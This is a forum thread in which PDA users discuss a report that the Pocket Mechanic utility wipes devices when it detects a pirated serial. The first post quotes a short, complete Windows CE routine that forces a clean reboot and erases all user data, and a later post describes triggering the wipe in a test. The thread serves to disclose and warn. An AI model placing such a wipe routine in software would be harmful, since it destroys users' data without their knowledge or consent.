![]() |
#1 |
Uebermensch
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 2,583
Karma: 1094606
Join Date: Jul 2003
Location: Italy
Device: Kindle
|
Pocket Mechanic contains malicious code!
After reading this thread at Aximsite where users complain about hard resets invoked by Pocket Mechanic I thought to shed some light on Anton Tomov's crude ways of dealing with software pirates.
I understand that Tomov is upset about people using illegal codes for his software. But does this give him the right to forcefully wipe-out someone's PDA? Isn't that highly illegal as well? That's right. Use a pirated or blacklisted serial with Pocket Mechanic, Pocket Mechanic will detect it, and send your PDA with all its lovely content to Nirvana land. I don't know what Tomov is thinking, but I can only recommend everyone do not buy any of his products. What if a bug sneaks into his code enabling his hardreset routine even if you are a legal buyer? Who is going to pay for your damages? Mr. Tomov, would that be you? Technicals: The hardreset routine Tomov uses looks like the following: Code:
#include <windows.h> #include <winioctl.h> #define IOCTL_HAL_REBOOT CTL_CODE(FILE_DEVICE_HAL, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) extern "C" __declspec(dllimport)void SetCleanRebootFlag(void); extern "C" __declspec(dllimport) BOOL KernelIoControl( DWORD dwIoControlCode, LPVOID lpInBuf, DWORD nInBufSize, LPVOID lpOutBuf, DWORD nOutBufSize, LPDWORD lpBytesReturned); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { SetCleanRebootFlag(); KernelIoControl(IOCTL_HAL_REBOOT, NULL, 0, NULL, 0, NULL); return 0; } |
![]() |
![]() |
#2 |
Fully Converged
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 18,171
Karma: 14021202
Join Date: Oct 2002
Location: Switzerland
Device: Too many to count here.
|
Are you serious about that, Tad? That *really* stinks!
Edit: Looks this is exactly what happened to some poor people over at Aximsite. I'll put this thread to the frontpage. |
![]() |
Advert | |
|
![]() |
#3 |
Junior Member
![]() Posts: 7
Karma: 10
Join Date: Jan 2005
Location: In This Galaxy...
Device: Dell x50v
|
Thanks for warning!!! I was actually shopping for some Tomov's products this morning. So now i better just forget about buying his products. And also to warn a few of my friends too!!
![]() |
![]() |
![]() |
#4 |
Fence Sitter
![]() Posts: 51
Karma: 10
Join Date: Oct 2004
Location: Singapore
Device: Asus P525
|
Thanks for the warning TadW, I won't be looking at Tomov's products from now, and will warn my friends about this also.
While registered users have nothing to fear, putting users' data at risk of programing bugs is in my opinion akin to hijacking their PDAs. |
![]() |
![]() |
#5 |
Jah Blessed
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 1,295
Karma: 1373
Join Date: Apr 2003
Location: The Netherlands
Device: iPod Touch
|
These kind of measures only scare away prospective customers. Hopefully, the author will come to realize this.
A better way of dealing with piracy is to let the app display a bogus error message every now and then. This way you can separate the pirates from the customers when a user asks for support. |
![]() |
Advert | |
|
![]() |
#6 |
Enthusiast
![]() Posts: 36
Karma: 10
Join Date: Jan 2005
Device: X50V
|
Thanks for the tip Tad!
|
![]() |
![]() |
#7 |
Evangelist
![]() ![]() ![]() Posts: 418
Karma: 281
Join Date: Jul 2004
Location: Canada
Device: Assorted older devices
|
That sort of behaviour kinda makes me sick... It's unethical and unnecessary.
Enter one character wrong as a serial number, and you may end up resetting your PPC... And another scary thought is, look at that small amount of code! Around 20 lines of code, and boom... Hard reset. Shouldn't Microsoft make it a LITTLE harder for a program to hard-reset a device?! (But then again, this comes from the same company who made ActiveX, which, in theory, can wipe a hard drive...) |
![]() |
![]() |
#8 | |
Fully Converged
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 18,171
Karma: 14021202
Join Date: Oct 2002
Location: Switzerland
Device: Too many to count here.
|
Quote:
|
|
![]() |
![]() |
#9 |
Is papyrophobic!
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 1,926
Karma: 1009999
Join Date: Aug 2003
Location: USA
Device: Dell Axim
|
Tough crap. I wonder if the developer is coming to his senses and removing this code asap.
|
![]() |
![]() |
#10 |
Member
![]() Posts: 14
Karma: 55
Join Date: Aug 2004
Device: Sony U-70 /Toshiba e805
|
Has anyone verified that this s/w indeed has this code in it?
|
![]() |
![]() |
#11 |
Member Retired
![]() Posts: 15
Karma: 10
Join Date: Aug 2004
Location: Manila, Philippines
Device: M515
|
Maybe we can get the point of view of the developer so that he can state his case.
|
![]() |
![]() |
#12 |
Fully Converged
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 18,171
Karma: 14021202
Join Date: Oct 2002
Location: Switzerland
Device: Too many to count here.
|
I contacted Mr Tomov and am awaiting his answer.
|
![]() |
![]() |
#13 |
Fully Converged
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 18,171
Karma: 14021202
Join Date: Oct 2002
Location: Switzerland
Device: Too many to count here.
|
I removed Tad's technical analysis (post #11) from this thread. If you want to hear my opinion, follow this thread.
|
![]() |
![]() |
#14 | |
Uebermensch
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Posts: 2,583
Karma: 1094606
Join Date: Jul 2003
Location: Italy
Device: Kindle
|
Quote:
|
|
![]() |
![]() |
#15 |
Junior Member
![]() Posts: 2
Karma: 10
Join Date: Feb 2005
|
For what it's worth, I googled for a serial number, found one on a nasty site for 1.49. I then
- tried 1.49 with this serial. It didn't bomb. - installed 1.50 which was mentioned in this thread and installed it over 1.49. - when I clicked on the icon to start PM, my device did a reset and all data in RAM was lost. Of course, since this was just an experiment, I did a full backup first, so I wasn't hurt. Notice that Tomov silently released 1.51 in the meantime (no mentioning in the changelog), and I haven't tried if the bomb is still in this updated version. |
![]() |
|
![]() |
||||
Thread | Thread Starter | Forum | Replies | Last Post |
Does anyone have Pocket Pro and Sony Pocket? | Davimee | Astak EZReader | 10 | 05-05-2010 11:20 PM |
Let's create a source code repository for DR 800 related code? | jraf | iRex | 3 | 03-11-2010 12:26 PM |
Some help with code | Crusader | ePub | 5 | 01-01-2010 10:23 PM |
Hi all — and see the code | sigizmund | Introduce Yourself | 2 | 12-18-2009 02:53 AM |